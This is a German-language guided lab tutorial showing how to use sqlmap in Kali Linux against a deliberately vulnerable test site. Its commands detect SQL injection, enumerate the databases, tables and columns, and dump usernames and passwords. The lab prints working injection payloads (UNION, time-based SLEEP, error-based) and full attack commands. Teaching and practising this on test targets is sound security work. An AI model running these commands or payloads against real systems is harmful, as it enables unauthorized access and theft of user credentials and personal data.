Kali SQL-Injection mit sqlmap

Kali LinuxBeginner
Jetzt üben

Einführung

In diesem Lab lernen Sie, wie Sie SQL-Injection-Schwachstellen mithilfe von Kali Linux und dem leistungsstarken Tool sqlmap identifizieren und ausnutzen. In einer Reihe von geführten Schritten werden Sie eine anfällige Webanwendung aufspüren, deren Datenbankstruktur analysieren und sensible Daten extrahieren. Alle Aktivitäten finden in einer sicheren LabEx-VM-Umgebung innerhalb eines Kali-Linux-Containers statt. Dieses Lab ist für Anfänger konzipiert und bietet praktische Erfahrung im automatisierten Sicherheitstesten von Webanwendungen. Sobald Sie das Terminal öffnen, werden Sie automatisch mit der Shell des Kali-Linux-Containers verbunden und können sofort beginnen.

Dies ist ein geführtes Lab, das Schritt-für-Schritt-Anleitungen bietet, um Ihnen beim Lernen und Üben zu helfen. Folgen Sie den Anweisungen sorgfältig, um jeden Schritt abzuschließen und praktische Erfahrung zu sammeln. Historische Daten zeigen, dass dies ein Lab auf mittlerem Niveau mit einer Abschlussquote von 60 % ist. Es hat eine positive Bewertungsrate von 97 % von Lernenden erhalten.

Umgebung einrichten und sqlmap installieren

Ihre Lab-Umgebung ist so vorkonfiguriert, dass Sie beim Öffnen des Terminals automatisch in einer Kali-Linux-Container-Shell landen. Ihre erste Aufgabe besteht darin, diese Umgebung vorzubereiten, indem Sie die Paketliste aktualisieren und sqlmap installieren, das Hauptwerkzeug für dieses Lab.

sqlmap ist ein Open-Source-Penetrationstest-Tool, das den Prozess der Erkennung und Ausnutzung von SQL-Injection-Schwachstellen sowie die Übernahme von Datenbankservern automatisiert.

Aktualisieren Sie zunächst den Index der Paketquellen. Dies stellt sicher, dass Sie die neueste Version der Software beziehen können.

apt update

Installieren Sie anschließend sqlmap mit dem folgenden Befehl. Das Flag -y bestätigt die Installation automatisch.

apt install -y sqlmap

Dieser Vorgang kann einen Moment dauern. Sobald die Installation abgeschlossen ist, überprüfen Sie die korrekte Installation von sqlmap, indem Sie die Version abfragen.

sqlmap --version

Sie sollten eine Ausgabe sehen, die die installierte Version von sqlmap anzeigt, was bestätigt, dass das Tool einsatzbereit ist.

Erwartete Ausgabe (Versionsnummer kann variieren):

1.x.x#stable

Nachdem sqlmap installiert und verifiziert wurde, ist Ihre Umgebung nun für die nächsten Schritte bereit, in denen Sie mit dem Testen auf SQL-Injection-Schwachstellen bei einer Zielanwendung beginnen.

Erkennung einer SQL-Injection-Schwachstelle

Da sqlmap nun installiert ist, können Sie damit beginnen, eine Webanwendung auf SQL-Injection-Schwachstellen zu prüfen. Für dieses Lab verwenden wir eine öffentlich zugängliche, absichtlich verwundbare Website, die für Sicherheitstests entwickelt wurde. Der erste Schritt bei jedem SQL-Injection-Angriff besteht darin, einen anfälligen Parameter zu identifizieren.

Die Ziel-URL für dieses Lab lautet http://testphp.vulnweb.com/listproducts.php?cat=1. Der Parameter cat=1 ist ein potenzieller Einstiegspunkt für eine Injection. Wir werden sqlmap verwenden, um diesen Parameter automatisch zu testen.

Führen Sie den folgenden Befehl aus, um den Test zu starten. Das Flag -u gibt die Ziel-URL an. Wir verwenden das Flag --batch, damit sqlmap mit den Standardantworten auf alle interaktiven Fragen läuft, was den Prozess automatisiert und beschleunigt.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

sqlmap wird eine Reihe von Tests gegen die URL durchführen. Es analysiert die Antworten, um festzustellen, ob der Parameter cat injizierbar ist. Dieser Vorgang kann ein bis zwei Minuten dauern, da verschiedene SQL-Injection-Techniken ausprobiert werden.

Prüfen Sie nach Abschluss des Scans die Ausgabe. Sie sollten einen Abschnitt finden, der die Schwachstelle bestätigt.

Erwartete Ausgabe (gekürzt):

---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

Die Ausgabe bestätigt, dass der Parameter cat für mehrere Arten von SQL-Injection-Angriffen anfällig ist:

  • Boolean-based blind: Nutzt Wahr/Falsch-Logik, um Daten zu extrahieren.
  • Error-based: Nutzt Datenbank-Fehlermeldungen aus, um Informationen preiszugeben.
  • Time-based blind: Nutzt Verzögerungen in den Antworten, um eine Injection zu bestätigen.
  • UNION query: Kombiniert Ergebnisse aus mehreren SELECT-Anweisungen.

Der Scan identifiziert zudem das Backend-Datenbanksystem als MySQL Version 5.6 oder höher, das auf einem Linux-Ubuntu-System mit Nginx und PHP läuft. Diese detaillierten Fingerprinting-Informationen leiten die nächsten Schritte im Exploit-Prozess ein.

Datenbanken aufzählen (Enumeration)

Nachdem die Schwachstelle bestätigt wurde, besteht der nächste logische Schritt darin, herauszufinden, welche Datenbanken auf dem Server existieren. Dieser Vorgang wird als Datenbank-Enumeration bezeichnet. Die Kenntnis der Datenbanknamen ist essenziell, um in der Datenstruktur des Servers zu navigieren.

Sie verwenden das Flag --dbs mit sqlmap, um alle verfügbaren Datenbanken aufzulisten. Der Befehl nutzt die Sitzungsdaten aus dem vorherigen Schritt wieder, sodass sqlmap die Schwachstelle nicht erneut verifizieren muss.

Führen Sie den folgenden Befehl aus:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch

sqlmap nutzt die Schwachstelle aus, um das Datenbankschema abzufragen und eine Liste aller Datenbanknamen abzurufen. Beachten Sie, dass sqlmap die gespeicherte Sitzung fortsetzt, was Zeit spart.

Erwartete Ausgabe:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

Die Ausgabe zeigt zwei Datenbanken: acuart und information_schema.

  • information_schema ist eine Standarddatenbank in MySQL, die Metadaten über alle anderen Datenbanken speichert. Sie ist nützlich, aber normalerweise nicht das Hauptziel für einen Datendiebstahl.
  • acuart scheint eine benutzerdefinierte Anwendungsdatenbank zu sein, die höchstwahrscheinlich die interessanten Daten enthält, nach denen wir suchen, wie Benutzerinformationen oder Anwendungsdaten.

Da Sie nun den Namen der Anwendungsdatenbank kennen, können Sie dazu übergehen, deren Inhalt zu untersuchen.

Tabellen und Spalten aufzählen

Nachdem Sie die Datenbank acuart identifiziert haben, ist Ihr nächstes Ziel zu sehen, welche Tabellen sie enthält. In Tabellen werden die eigentlichen Daten gespeichert. Eine Tabelle namens users oder customers ist beispielsweise ein hochkarätiges Ziel.

Um die Tabellen in der Datenbank acuart aufzulisten, verwenden Sie das Flag -D, um den Datenbanknamen anzugeben, und das Flag --tables, um die Tabellenliste anzufordern.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables --batch

Erwartete Ausgabe:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

Die Ausgabe offenbart mehrere Tabellen, wobei users besonders interessant ist. Lassen Sie uns die Tabelle users weiter untersuchen, indem wir ihre Spalten auflisten. Verwenden Sie dazu das Flag -T, um die Tabelle anzugeben, und das Flag --columns.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns --batch

Erwartete Ausgabe:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| name    | varchar(100) |
| address | mediumtext   |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+--------------+

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

Die Spalten uname (Benutzername) und pass (Passwort) sind die Hauptziele für die Datenextraktion. Weitere interessante Spalten sind email, cc (Kreditkarte) und phone für Kundeninformationen. Sie haben nun alle Informationen, die Sie benötigen, um den Inhalt dieser sensiblen Spalten auszulesen.

Daten aus einer Tabelle extrahieren (Dumping)

Dies ist der letzte Schritt des Angriffs, bei dem Sie die Daten aus der Ziel-Tabelle extrahieren. Basierend auf den vorherigen Schritten kennen Sie die Datenbank (acuart), die Tabelle (users) und die interessanten Spalten (uname, pass).

Um die Daten zu extrahieren, verwenden Sie das Flag --dump. Sie können mit dem Flag -C gezielt angeben, welche Spalten extrahiert werden sollen, um den Prozess zu beschleunigen.

Führen Sie den folgenden Befehl aus, um die Benutzernamen und Passwörter aus der Tabelle users zu extrahieren:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump --batch

sqlmap wird nun die Daten aus den angegebenen Spalten extrahieren und im Terminal anzeigen. Zudem werden die Daten in einer CSV-Datei für eine spätere Analyse gespeichert.

Erwartete Ausgabe:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching entries of column(s) 'pass,uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-------+------+
| uname | pass |
+-------+------+
| test  | test |
+-------+------+

[HH:MM:SS] [INFO] table 'acuart.users' dumped to CSV file '/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

Die Ausgabe zeigt einen Benutzereintrag mit dem Benutzernamen test und dem Passwort test. Diese erfolgreiche Datenextraktion demonstriert die kritischen Auswirkungen von SQL-Injection-Schwachstellen:

  • Datenpanne: Sensible Benutzeranmeldedaten werden offengelegt.
  • Unbefugter Zugriff: Diese Anmeldedaten könnten verwendet werden, um sich an der Anwendung anzumelden.
  • Verletzung der Privatsphäre: Persönliche Informationen sind kompromittiert.
  • Sicherheitsrisiko: Die Schwachstelle könnte ausgenutzt werden, um auf weitere Daten zuzugreifen oder Berechtigungen zu eskalieren.

Damit ist eine typische SQL-Injection-Angriffssequenz abgeschlossen: Erkennung → Enumeration → Exploitation → Datenextraktion.

Sie können die gespeicherten Daten auch einsehen, indem Sie die in der Ausgabe erwähnte CSV-Datei lesen.

cat /root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

Erwartete Ausgabe:

uname,pass
test,test

Dies bestätigt, dass die Daten erfolgreich exfiltriert und gespeichert wurden.

Zusammenfassung

In diesem Lab haben Sie erfolgreich einen vollständigen SQL-Injection-Angriff mit sqlmap in einer Kali-Linux-Umgebung durchgeführt. Sie begannen mit der Installation von sqlmap und nutzten es anschließend, um automatisch eine Schwachstelle in einer Live-Webanwendung zu erkennen. Einem systematischen Ansatz folgend, haben Sie die Datenbanken des Servers aufgezählt, die Tabellen innerhalb einer Zieldatenbank aufgelistet, sensible Spalten identifiziert und schließlich Benutzeranmeldedaten extrahiert. Diese praktische Erfahrung hat Ihnen ein fundiertes Verständnis dafür vermittelt, wie automatisierte Tools eingesetzt werden können, um eine der häufigsten und kritischsten Sicherheitslücken im Web zu finden und auszunutzen.